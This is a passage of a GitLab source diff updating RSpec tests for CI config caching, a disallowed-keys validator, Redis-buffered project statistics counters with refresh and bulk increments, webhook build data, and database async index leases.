'VAR3' => { value: 'value3', raw: true }
)
end
-
- context 'when the FF ci_raw_variables_in_yaml_config is disabled' do
- before do
- stub_feature_flags(ci_raw_variables_in_yaml_config: false)
- end
-
- it 'returns variables without description and raw' do
- expect(job_variables).to contain_exactly(
- { key: 'VAR4', value: 'value4' },
- { key: 'VAR5', value: 'value5' },
- { key: 'VAR6', value: 'value6' }
- )
-
- expect(execute.root_variables).to contain_exactly(
- { key: 'VAR1', value: 'value1' },
- { key: 'VAR2', value: 'value2' },
- { key: 'VAR3', value: 'value3' }
- )
-
- expect(execute.root_variables_with_prefill_data).to eq(
- 'VAR1' => { value: 'value1' },
- 'VAR2' => { value: 'value2', description: 'description2' },
- 'VAR3' => { value: 'value3' }
- )
- end
- end
end
end
@@ -1505,9 +1480,19 @@ module Gitlab
let(:opts) { { project: project, sha: project.commit.sha } }
context "when the included internal file is present" do
- before do
- expect(project.repository).to receive(:blob_data_at)
- .and_return(YAML.dump({ job1: { script: 'hello' } }))
+ let(:project_files) do
+ {
+ 'local.gitlab-ci.yml' => <<~YAML
+ job1:
+ script: hello
+ YAML
+ }
+ end
+
+ around do |example|
+ create_and_delete_files(project, project_files) do
+ example.run
+ end
end
it { is_expected.to be_valid }
@@ -1699,7 +1684,8 @@ module Gitlab
untracked: true,
key: 'key',
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
])
end
@@ -1723,7 +1709,8 @@ module Gitlab
untracked: true,
key: { files: ['file'] },
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
])
end
@@ -1749,14 +1736,16 @@ module Gitlab
untracked: true,
key: 'keya',
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
},
{
paths: ['logs/', 'binaries/'],
untracked: true,
key: 'key',
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
}
]
)
@@ -1783,7 +1772,8 @@ module Gitlab
untracked: true,
key: { files: ['file'] },
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
])
end
@@ -1808,7 +1798,8 @@ module Gitlab
untracked: true,
key: { files: ['file'], prefix: 'prefix' },
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
])
end
@@ -1831,7 +1822,8 @@ module Gitlab
untracked: false,
key: 'local',
policy: 'pull-push',
- when: 'on_success'
+ when: 'on_success',
+ unprotect: false
])
end
end
diff --git a/spec/lib/gitlab/config/entry/validators_spec.rb b/spec/lib/gitlab/config/entry/validators_spec.rb
index 0458bcd6354..54a2adbefd2 100644
--- a/spec/lib/gitlab/config/entry/validators_spec.rb
+++ b/spec/lib/gitlab/config/entry/validators_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe Gitlab::Config::Entry::Validators do
+RSpec.describe Gitlab::Config::Entry::Validators, feature_category: :pipeline_authoring do
let(:klass) do
Class.new do
include ActiveModel::Validations
@@ -40,4 +40,66 @@ RSpec.describe Gitlab::Config::Entry::Validators do
end
end
end
+
+ describe described_class::DisallowedKeysValidator do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:config, :disallowed_keys, :ignore_nil, :valid_result) do
+ { foo: '1' } | 'foo' | false | false
+ { foo: '1', bar: '2', baz: '3' } | 'foo, bar' | false | false
+ { baz: '1', qux: '2' } | '' | false | true
+ { foo: nil } | 'foo' | false | false
+ { foo: nil, bar: '2', baz: '3' } | 'foo, bar' | false | false
+ { foo: nil, bar: nil, baz: '3' } | 'foo, bar' | false | false
+ { baz: nil, qux: nil } | '' | false | true
+ { foo: '1' } | 'foo' | true | false
+ { foo: '1', bar: '2', baz: '3' } | 'foo, bar' | true | false
+ { baz: '1', qux: '2' } | '' | true | true
+ { foo: nil } | '' | true | true
+ { foo: nil, bar: '2', baz: '3' } | 'bar' | true | false
+ { foo: nil, bar: nil, baz: '3' } | '' | true | true
+ { baz: nil, qux: nil } | '' | true | true
+ end
+
+ with_them do
+ before do
+ klass.instance_variable_set(:@ignore_nil, ignore_nil)
+
+ klass.instance_eval do
+ validates :config, disallowed_keys: {
+ in: %i[foo bar],
+ ignore_nil: @ignore_nil # rubocop:disable RSpec/InstanceVariable
+ }
+ end
+
+ allow(instance).to receive(:config).and_return(config)
+ end
+
+ it 'validates the instance' do
+ expect(instance.valid?).to be(valid_result)
+
+ unless valid_result
+ expect(instance.errors.messages_for(:config)).to include "contains disallowed keys: #{disallowed_keys}"
+ end
+ end
+ end
+
+ context 'when custom message is provided' do
+ before do
+ klass.instance_eval do
+ validates :config, disallowed_keys: {
+ in: %i[foo bar],
+ message: 'custom message'
+ }
+ end
+
+ allow(instance).to receive(:config).and_return({ foo: '1' })
+ end
+
+ it 'returns the custom message when invalid' do
+ expect(instance).not_to be_valid
+ expect(instance.errors.messages_for(:config)).to include "custom message: foo"
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/counters/buffered_counter_spec.rb b/spec/lib/gitlab/counters/buffered_counter_spec.rb
index a1fd97768ea..2d5209161d9 100644
--- a/spec/lib/gitlab/counters/buffered_counter_spec.rb
+++ b/spec/lib/gitlab/counters/buffered_counter_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
subject(:counter) { described_class.new(counter_record, attribute) }
- let(:counter_record) { create(:project_statistics) }
+ let_it_be(:counter_record) { create(:project_statistics) }
+
let(:attribute) { :build_artifacts_size }
describe '#get' do
@@ -25,42 +26,447 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
end
describe '#increment' do
- it 'sets a new key by the given value' do
- counter.increment(123)
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 123, ref: 1) }
+ let(:other_increment) { Gitlab::Counters::Increment.new(amount: 100, ref: 2) }
+
+ context 'when the counter is not undergoing refresh' do
+ it 'sets a new key by the given value' do
+ counter.increment(increment)
+
+ expect(counter.get).to eq(increment.amount)
+ end
+
+ it 'increments an existing key by the given value' do
+ counter.increment(other_increment)
+ counter.increment(increment)
+
+ expect(counter.get).to eq(other_increment.amount + increment.amount)
+ end
+
+ it 'returns the value of the key after the increment' do
+ counter.increment(increment)
+ result = counter.increment(other_increment)
+
+ expect(result).to eq(increment.amount + other_increment.amount)
+ end
+
+ it 'schedules a worker to commit the counter key into database' do
+ expect(FlushCounterIncrementsWorker).to receive(:perform_in)
+ .with(described_class::WORKER_DELAY, counter_record.class.to_s, counter_record.id, attribute)
+
+ counter.increment(increment)
+ end
+ end
+
+ context 'when the counter is undergoing refresh' do
+ let(:increment_1) { Gitlab::Counters::Increment.new(amount: 123, ref: 1) }
+ let(:decrement_1) { Gitlab::Counters::Increment.new(amount: -increment_1.amount, ref: increment_1.ref) }
+
+ let(:increment_2) { Gitlab::Counters::Increment.new(amount: 100, ref: 2) }
+ let(:decrement_2) { Gitlab::Counters::Increment.new(amount: -increment_2.amount, ref: increment_2.ref) }
+
+ before do
+ counter.initiate_refresh!
+ end
+
+ it 'does not increment the counter key' do
+ expect { counter.increment(increment) }.not_to change { counter.get }.from(0)
+ end
+
+ it 'increments the amount in the refresh key' do
+ counter.increment(increment)
+
+ expect(redis_get_key(counter.refresh_key).to_i).to eq(increment.amount)
+ end
+
+ it 'schedules a worker to commit the counter key into database' do
+ expect(FlushCounterIncrementsWorker).to receive(:perform_in)
+ .with(described_class::WORKER_DELAY, counter_record.class.to_s, counter_record.id, attribute)
+
+ counter.increment(increment)
+ end
+
+ shared_examples 'changing the counter refresh key by the given amount' do
+ it 'changes the refresh counter key by the given value' do
+ expect { counter.increment(increment) }
+ .to change { redis_get_key(counter.refresh_key).to_i }.by(increment.amount)
+ end
+
+ it 'returns the value of the key after the increment' do
+ expect(counter.increment(increment)).to eq(expected_counter_value)
+ end
+ end
+
+ shared_examples 'not changing the counter refresh key' do
+ it 'does not change the counter' do
+ expect { counter.increment(increment) }.not_to change { redis_get_key(counter.refresh_key).to_i }
+ end
+
+ it 'returns the unchanged value of the key' do
+ expect(counter.increment(increment)).to eq(expected_counter_value)
+ end
+ end
+
+ context 'when it is an increment (positive amount)' do
+ let(:increment) { increment_1 }
+
+ context 'when it is the first increment on the ref' do
+ let(:expected_counter_value) { increment.amount }
+
+ it_behaves_like 'changing the counter refresh key by the given amount'
+ end
+
+ context 'when it follows an existing increment on the same ref' do
+ before do
+ counter.increment(increment)
+ end
+
+ let(:expected_counter_value) { increment.amount }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+
+ context 'when it follows an existing decrement on the same ref' do
+ before do
+ counter.increment(decrement_1)
+ end
+
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+
+ context 'when there has been an existing increment on another ref' do
+ before do
+ counter.increment(increment_2)
+ end
+
+ let(:expected_counter_value) { increment.amount + increment_2.amount }
+
+ it_behaves_like 'changing the counter refresh key by the given amount'
+ end
+
+ context 'when there has been an existing decrement on another ref' do
+ before do
+ counter.increment(decrement_2)
+ end
+
+ let(:expected_counter_value) { increment.amount }
+
+ it_behaves_like 'changing the counter refresh key by the given amount'
+ end
+ end
- expect(counter.get).to eq(123)
+ context 'when it is a decrement (negative amount)' do
+ let(:increment) { decrement_1 }
+
+ context 'when it is the first decrement on the same ref' do
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+
+ context 'when it follows an existing decrement on the ref' do
+ before do
+ counter.increment(decrement_1)
+ end
+
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+
+ context 'when it follows an existing increment on the ref' do
+ before do
+ counter.increment(increment_1)
+ end
+
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'changing the counter refresh key by the given amount'
+ end
+
+ context 'when there has been an existing increment on another ref' do
+ before do
+ counter.increment(increment_2)
+ end
+
+ let(:expected_counter_value) { increment_2.amount }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+
+ context 'when there has been an existing decrement on another ref' do
+ before do
+ counter.increment(decrement_2)
+ end
+
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+ end
+
+ context 'when the amount is 0' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 0, ref: 1) }
+
+ context 'when it is the first increment on the ref' do
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+
+ context 'when it follows the another increment on the ref' do
+ let(:expected_counter_value) { 0 }
+
+ before do
+ counter.increment(increment)
+ end
+
+ it_behaves_like 'not changing the counter refresh key'
+ end
+ end
+
+ context 'when the ref is greater than 67108863 (8MB)' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 123, ref: 67108864) }
+
+ let(:increment_2) { Gitlab::Counters::Increment.new(amount: 123, ref: 267108863) }
+ let(:decrement_2) { Gitlab::Counters::Increment.new(amount: -increment_2.amount, ref: increment_2.ref) }
+
+ let(:expected_counter_value) { increment.amount }
+
+ it 'deduplicates increments correctly' do
+ counter.increment(decrement_2)
+ counter.increment(increment)
+ counter.increment(increment_2)
+
+ expect(redis_get_key(counter.refresh_key).to_i).to eq(increment.amount)
+ end
+ end
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(project_statistics_bulk_increment: false)
+ end
+
+ context 'when the counter is not undergoing refresh' do
+ it 'sets a new key by the given value' do
+ counter.increment(increment)
+
+ expect(counter.get).to eq(increment.amount)
+ end
+
+ it 'increments an existing key by the given value' do
+ counter.increment(other_increment)
+ counter.increment(increment)
+
+ expect(counter.get).to eq(other_increment.amount + increment.amount)
+ end
+ end
+
+ context 'when the counter is undergoing refresh' do
+ before do
+ counter.initiate_refresh!
+ end
+
+ context 'when it is a decrement (negative amount)' do
+ let(:decrement) { Gitlab::Counters::Increment.new(amount: -123, ref: 3) }
+
+ it 'immediately decrements the counter key to negative' do
+ counter.increment(decrement)
+
+ expect(counter.get).to eq(decrement.amount)
+ end
+ end
+ end
end
+ end
+
+ describe '#bulk_increment' do
+ let(:other_increment) { Gitlab::Counters::Increment.new(amount: 1) }
+ let(:increments) { [Gitlab::Counters::Increment.new(amount: 123), Gitlab::Counters::Increment.new(amount: 456)] }
- it 'increments an existing key by the given value' do
- counter.increment(100)
- counter.increment(123)
+ context 'when the counter is not undergoing refresh' do
+ it 'increments the key by the given values' do
+ counter.bulk_increment(increments)
+
+ expect(counter.get).to eq(increments.sum(&:amount))
+ end
+
+ it 'returns the value of the key after the increment' do
+ counter.increment(other_increment)
+
+ result = counter.bulk_increment(increments)
+
+ expect(result).to eq(other_increment.amount + increments.sum(&:amount))
+ end
- expect(counter.get).to eq(100 + 123)
+ it 'schedules a worker to commit the counter into database' do
+ expect(FlushCounterIncrementsWorker).to receive(:perform_in)
+ .with(described_class::WORKER_DELAY, counter_record.class.to_s, counter_record.id, attribute)
+
+ counter.bulk_increment(increments)
+ end
end
- it 'returns the new value' do
- counter.increment(123)
+ context 'when the counter is undergoing refresh' do
+ let(:increment_1) { Gitlab::Counters::Increment.new(amount: 123, ref: 1) }
+ let(:decrement_1) { Gitlab::Counters::Increment.new(amount: -increment_1.amount, ref: increment_1.ref) }
+
+ let(:increment_2) { Gitlab::Counters::Increment.new(amount: 100, ref: 2) }
+ let(:decrement_2) { Gitlab::Counters::Increment.new(amount: -increment_2.amount, ref: increment_2.ref) }
+
+ let(:increment_3) { Gitlab::Counters::Increment.new(amount: 100, ref: 3) }
+ let(:decrement_3) { Gitlab::Counters::Increment.new(amount: -increment_3.amount, ref: increment_3.ref) }
+
+ before do
+ counter.initiate_refresh!
+ end
+
+ shared_examples 'changing the counter refresh key by the expected amount' do
+ it 'changes the counter refresh key by the net change' do
+ expect { counter.bulk_increment(increments) }
+ .to change { redis_get_key(counter.refresh_key).to_i }.by(expected_change)
+ end
+
+ it 'returns the value of the key after the increment' do
+ expect(counter.bulk_increment(increments)).to eq(expected_counter_value)
+ end
+ end
+
+ context 'when there are 2 increments on different ref' do
+ let(:increments) { [increment_1, increment_2] }
+ let(:expected_change) { increments.sum(&:amount) }
+ let(:expected_counter_value) { increments.sum(&:amount) }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+
+ context 'when there has been previous decrements' do
+ before do
+ counter.increment(decrement_1)
+ counter.increment(decrement_3)
+ end
+
+ let(:expected_change) { increment_2.amount }
+ let(:expected_counter_value) { increment_2.amount }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+ end
+
+ context 'when one of the increment is repeated' do
+ before do
+ counter.increment(increment_2)
+ end
+
+ let(:expected_change) { increment_1.amount }
+ let(:expected_counter_value) { increment_2.amount + increment_1.amount }
- expect(counter.increment(23)).to eq(146)
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+ end
+ end
+
+ context 'when there are 2 decrements on different ref' do
+ let(:increments) { [decrement_1, decrement_2] }
+ let(:expected_change) { 0 }
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+
+ context 'when there has been previous increments' do
+ before do
+ counter.increment(increment_1)
+ counter.increment(increment_3)
+ end
+
+ let(:expected_change) { decrement_1.amount }
+ let(:expected_counter_value) { increment_3.amount }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+ end
+ end
+
+ context 'when there is a mixture of increment and decrement on different refs' do
+ let(:increments) { [increment_1, decrement_2] }
+ let(:expected_change) { increment_1.amount }
+ let(:expected_counter_value) { increment_1.amount }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+
+ context 'when the increment ref has been decremented' do
+ before do
+ counter.increment(decrement_1)
+ end
+
+ let(:expected_change) { 0 }
+ let(:expected_counter_value) { 0 }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+ end
+
+ context 'when the decrement ref has been incremented' do
+ before do
+ counter.increment(increment_2)
+ end
+
+ let(:expected_change) { increments.sum(&:amount) }
+ let(:expected_counter_value) { increment_1.amount }
+
+ it_behaves_like 'changing the counter refresh key by the expected amount'
+ end
+ end
end
- it 'schedules a worker to commit the counter into database' do
- expect(FlushCounterIncrementsWorker).to receive(:perform_in)
- .with(described_class::WORKER_DELAY, counter_record.class.to_s, counter_record.id, attribute)
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(project_statistics_bulk_increment: false)
+ end
+
+ context 'when the counter is not undergoing refresh' do
+ it 'sets a new key by the given value' do
+ counter.bulk_increment(increments)
+
+ expect(counter.get).to eq(increments.sum(&:amount))
+ end
+
+ it 'increments an existing key by the given value' do
+ counter.increment(other_increment)
+
+ result = counter.bulk_increment(increments)
- counter.increment(123)
+ expect(result).to eq(other_increment.amount + increments.sum(&:amount))
+ end
+ end
+
+ context 'when the counter is undergoing refresh' do
+ before do
+ counter.initiate_refresh!
+ end
+
+ context 'when it is a decrement (negative amount)' do
+ let(:decrement) { Gitlab::Counters::Increment.new(amount: -123, ref: 3) }
+
+ it 'immediately decrements the counter key to negative' do
+ counter.bulk_increment([decrement])
+
+ expect(counter.get).to eq(decrement.amount)
+ end
+ end
+ end
end
end
- describe '#reset!' do
+ describe '#initiate_refresh!' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 123) }
+
before do
allow(counter_record).to receive(:update!)
- counter.increment(123)
+ counter.increment(increment)
end
it 'removes the key from Redis' do
- counter.reset!
+ counter.initiate_refresh!
Gitlab::Redis::SharedState.with do |redis|
expect(redis.exists?(counter.key)).to eq(false)
@@ -68,7 +474,7 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
end
it 'resets the counter to 0' do
- counter.reset!
+ counter.initiate_refresh!
expect(counter.get).to eq(0)
end
@@ -76,7 +482,91 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
it 'resets the record to 0' do
expect(counter_record).to receive(:update!).with(attribute => 0)
- counter.reset!
+ counter.initiate_refresh!
+ end
+
+ it 'sets a refresh indicator with a long expiry' do
+ counter.initiate_refresh!
+
+ expect(redis_exists_key(counter.refresh_indicator_key)).to eq(true)
+ expect(redis_key_ttl(counter.refresh_indicator_key)).to eq(described_class::REFRESH_KEYS_TTL)
+ end
+ end
+
+ describe '#finalize_refresh' do
+ before do
+ counter.initiate_refresh!
+ end
+
+ context 'with existing amount in refresh key' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 123, ref: 1) }
+ let(:other_increment) { Gitlab::Counters::Increment.new(amount: 100, ref: 2) }
+ let(:other_decrement) { Gitlab::Counters::Increment.new(amount: -100, ref: 2) }
+
+ before do
+ counter.bulk_increment([other_decrement, increment, other_increment])
+ end
+
+ it 'moves the deduplicated amount in the refresh key into the counter key' do
+ expect { counter.finalize_refresh }
+ .to change { counter.get }.by(increment.amount)
+ end
+
+ it 'removes the refresh counter key and the refresh indicator' do
+ expect { counter.finalize_refresh }
+ .to change { redis_exists_key(counter.refresh_key) }.from(true).to(false)
+ .and change { redis_exists_key(counter.refresh_indicator_key) }.from(true).to(false)
+ end
+
+ it 'schedules a worker to clean up the refresh tracking keys' do
+ expect(Counters::CleanupRefreshWorker).to receive(:perform_async)
+ .with(counter_record.class.to_s, counter_record.id, attribute)
+
+ counter.finalize_refresh
+ end
+ end
+
+ context 'without existing amount in refresh key' do
+ it 'does not change the counter key' do
+ expect { counter.finalize_refresh }.not_to change { counter.get }
+ end
+
+ it 'removes the refresh indicator key' do
+ expect { counter.finalize_refresh }
+ .to change { redis_exists_key(counter.refresh_indicator_key) }.from(true).to(false)
+ end
+
+ it 'schedules a worker to commit the counter key into database' do
+ expect(FlushCounterIncrementsWorker).to receive(:perform_in)
+ .with(described_class::WORKER_DELAY, counter_record.class.to_s, counter_record.id, attribute)
+
+ counter.finalize_refresh
+ end
+ end
+ end
+
+ describe '#cleanup_refresh' do
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 123, ref: 67108864) }
+ let(:increment_2) { Gitlab::Counters::Increment.new(amount: 123, ref: 267108864) }
+ let(:decrement_2) { Gitlab::Counters::Increment.new(amount: -increment_2.amount, ref: increment_2.ref) }
+ let(:increment_3) { Gitlab::Counters::Increment.new(amount: 123, ref: 534217728) }
+
+ before do
+ stub_const("#{described_class}::CLEANUP_BATCH_SIZE", 2)
+ stub_const("#{described_class}::CLEANUP_INTERVAL_SECONDS", 0.001)
+
+ counter.initiate_refresh!
+ counter.increment(decrement_2)
+ counter.increment(increment)
+ counter.increment(increment_2)
+ counter.finalize_refresh
+ end
+
+ it 'removes all tracking keys' do
+ Gitlab::Redis::SharedState.with do |redis|
+ expect { counter.cleanup_refresh }
+ .to change { redis.scan_each(match: "#{counter.refresh_key}*").to_a.count }.from(4).to(0)
+ end
end
end
@@ -88,7 +578,7 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
end
context 'when there is an amount to commit' do
- let(:increments) { [10, -3] }
+ let(:increments) { [10, -3].map { |amt| Gitlab::Counters::Increment.new(amount: amt) } }
before do
increments.each { |i| counter.increment(i) }
@@ -96,21 +586,11 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
it 'commits the increment into the database' do
expect { counter.commit_increment! }
- .to change { counter_record.reset.read_attribute(attribute) }.by(increments.sum)
+ .to change { counter_record.reset.read_attribute(attribute) }.by(increments.sum(&:amount))
end
it 'removes the increment entry from Redis' do
- Gitlab::Redis::SharedState.with do |redis|
- key_exists = redis.exists?(counter.key)
- expect(key_exists).to be_truthy
- end
-
- counter.commit_increment!
-
- Gitlab::Redis::SharedState.with do |redis|
- key_exists = redis.exists?(counter.key)
- expect(key_exists).to be_falsey
- end
+ expect { counter.commit_increment! }.to change { redis_exists_key(counter.key) }.from(true).to(false)
end
end
@@ -171,7 +651,7 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
context 'when there are increments to flush' do
before do
- counter.increment(10)
+ counter.increment(Gitlab::Counters::Increment.new(amount: 10))
end
it 'executes the callbacks' do
@@ -223,11 +703,27 @@ RSpec.describe Gitlab::Counters::BufferedCounter, :clean_gitlab_redis_shared_sta
it 'drops the increment key and creates the flushed key if it does not exist' do
counter.amount_to_be_flushed
- Gitlab::Redis::SharedState.with do |redis|
- expect(redis.exists?(increment_key)).to eq(false)
- expect(redis.exists?(flushed_key)).to eq(flushed_key_present)
- end
+ expect(redis_exists_key(increment_key)).to eq(false)
+ expect(redis_exists_key(flushed_key)).to eq(flushed_key_present)
end
end
end
+
+ def redis_get_key(key)
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.get(key)
+ end
+ end
+
+ def redis_exists_key(key)
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.exists?(key)
+ end
+ end
+
+ def redis_key_ttl(key)
+ Gitlab::Redis::SharedState.with do |redis|
+ redis.ttl(key)
+ end
+ end
end
diff --git a/spec/lib/gitlab/counters/legacy_counter_spec.rb b/spec/lib/gitlab/counters/legacy_counter_spec.rb
index e66b1ce08c4..9b0ffafff67 100644
--- a/spec/lib/gitlab/counters/legacy_counter_spec.rb
+++ b/spec/lib/gitlab/counters/legacy_counter_spec.rb
@@ -5,37 +5,50 @@ require 'spec_helper'
RSpec.describe Gitlab::Counters::LegacyCounter do
subject(:counter) { described_class.new(counter_record, attribute) }
- let(:counter_record) { create(:project_statistics) }
+ let_it_be(:counter_record, reload: true) { create(:project_statistics) }
+
let(:attribute) { :snippets_size }
- let(:amount) { 123 }
+
+ let(:increment) { Gitlab::Counters::Increment.new(amount: 123) }
+ let(:other_increment) { Gitlab::Counters::Increment.new(amount: 100) }
describe '#increment' do
it 'increments the attribute in the counter record' do
- expect { counter.increment(amount) }.to change { counter_record.reload.method(attribute).call }.by(amount)
+ expect { counter.increment(increment) }
+ .to change { counter_record.reload.method(attribute).call }.by(increment.amount)
end
it 'returns the value after the increment' do
- counter.increment(100)
+ counter.increment(other_increment)
- expect(counter.increment(amount)).to eq(100 + amount)
+ expect(counter.increment(increment)).to eq(other_increment.amount + increment.amount)
end
it 'executes after counter_record after commit callback' do
expect(counter_record).to receive(:execute_after_commit_callbacks).and_call_original
- counter.increment(amount)
+ counter.increment(increment)
end
end
- describe '#reset!' do
- before do
- allow(counter_record).to receive(:update!)
+ describe '#bulk_increment' do
+ let(:increments) { [Gitlab::Counters::Increment.new(amount: 123), Gitlab::Counters::Increment.new(amount: 456)] }
+
+ it 'increments the attribute in the counter record' do
+ expect { counter.bulk_increment(increments) }
+ .to change { counter_record.reload.method(attribute).call }.by(increments.sum(&:amount))
+ end
+
+ it 'returns the value after the increment' do
+ counter.increment(other_increment)
+
+ expect(counter.bulk_increment(increments)).to eq(other_increment.amount + increments.sum(&:amount))
end
- it 'resets the record to 0' do
- expect(counter_record).to receive(:update!).with(attribute => 0)
+ it 'executes after counter_record after commit callback' do
+ expect(counter_record).to receive(:execute_after_commit_callbacks).and_call_original
- counter.reset!
+ counter.bulk_increment(increments)
end
end
end
diff --git a/spec/lib/gitlab/data_builder/build_spec.rb b/spec/lib/gitlab/data_builder/build_spec.rb
index 544b210651b..92fef93bddb 100644
--- a/spec/lib/gitlab/data_builder/build_spec.rb
+++ b/spec/lib/gitlab/data_builder/build_spec.rb
@@ -2,10 +2,11 @@
require 'spec_helper'
-RSpec.describe Gitlab::DataBuilder::Build do
+RSpec.describe Gitlab::DataBuilder::Build, feature_category: :integrations do
let_it_be(:runner) { create(:ci_runner, :instance, :tagged_only) }
let_it_be(:user) { create(:user, :public_email) }
- let_it_be(:ci_build) { create(:ci_build, :running, runner: runner, user: user) }
+ let_it_be(:pipeline) { create(:ci_pipeline, name: 'Build pipeline') }
+ let_it_be(:ci_build) { create(:ci_build, :running, pipeline: pipeline, runner: runner, user: user) }
describe '.build' do
around do |example|
@@ -33,6 +34,7 @@ RSpec.describe Gitlab::DataBuilder::Build do
it { expect(data[:project_name]).to eq(ci_build.project.full_name) }
it { expect(data[:pipeline_id]).to eq(ci_build.pipeline.id) }
it { expect(data[:retries_count]).to eq(ci_build.retries_count) }
+ it { expect(data[:commit][:name]).to eq(pipeline.name) }
it {
expect(data[:user]).to eq(
@@ -61,10 +63,10 @@ RSpec.describe Gitlab::DataBuilder::Build do
described_class.build(b) # Don't use ci_build variable here since it has all associations loaded into memory
end
- expect(control.count).to eq(13)
+ expect(control.count).to eq(14)
end
- context 'when feature flag is disabled' do
+ context 'when job_webhook_retries_count feature flag is disabled' do
before do
stub_feature_flags(job_webhook_retries_count: false)
end
@@ -79,7 +81,7 @@ RSpec.describe Gitlab::DataBuilder::Build do
described_class.build(b) # Don't use ci_build variable here since it has all associations loaded into memory
end
- expect(control.count).to eq(12)
+ expect(control.count).to eq(13)
end
end
diff --git a/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb b/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb
index 7ad3eb395a9..207aedd1a38 100644
--- a/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb
+++ b/spec/lib/gitlab/database/async_indexes/index_creator_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::Database::AsyncIndexes::IndexCreator do
let(:connection) { model.connection }
let!(:lease) { stub_exclusive_lease(lease_key, :uuid, timeout: lease_timeout) }
- let(:lease_key) { "gitlab/database/async_indexes/index_creator/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
+ let(:lease_key) { "gitlab/database/indexing/actions/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
let(:lease_timeout) { described_class::TIMEOUT_PER_ACTION }
around do |example|
@@ -39,7 +39,7 @@ RSpec.describe Gitlab::Database::AsyncIndexes::IndexCreator do
it 'creates the index while controlling statement timeout' do
allow(connection).to receive(:execute).and_call_original
- expect(connection).to receive(:execute).with("SET statement_timeout TO '32400s'").ordered.and_call_original
+ expect(connection).to receive(:execute).with("SET statement_timeout TO '72000s'").ordered.and_call_original
expect(connection).to receive(:execute).with(async_index.definition).ordered.and_call_original
expect(connection).to receive(:execute).with("RESET statement_timeout").ordered.and_call_original
diff --git a/spec/lib/gitlab/database/async_indexes/index_destructor_spec.rb b/spec/lib/gitlab/database/async_indexes/index_destructor_spec.rb
index adb0f45706d..11039ad4f7e 100644
--- a/spec/lib/gitlab/database/async_indexes/index_destructor_spec.rb
+++ b/spec/lib/gitlab/database/async_indexes/index_destructor_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::Database::AsyncIndexes::IndexDestructor do
let(:connection) { model.connection }
let!(:lease) { stub_exclusive_lease(lease_key, :uuid, timeout: lease_timeout) }
- let(:lease_key) { "gitlab/database/async_indexes/index_destructor/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
+ let(:lease_key) { "gitlab/database/indexing/actions/#{Gitlab::Database::PRIMARY_DATABASE_NAME}" }
let(:lease_timeout) { described_class::TIMEOUT_PER_ACTION }
before do
diff --git a/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb b/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb
index 983f482d464..f3a292abbae 100644
--- a/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb
+++ b/spec/lib/gitlab/database/background_migration/batched_migration_wrapper_spec.rb
@@ -152,6 +152,7 @@ RSpec.describe Gitlab::Database::BackgroundMigration::BatchedMigrationWrapper, '
it 'runs the job with the correct arguments' do
expect(job_class).to receive(:new).with(no_args).and_return(job_instance)
+ expect(Gitlab::ApplicationContext).to receive(:push).with(feature_category: :database)
expect(job_instance).to receive(:perform).with(1, 10, 'events', 'id', 1, pause_ms, 'id', 'other_id')
perform
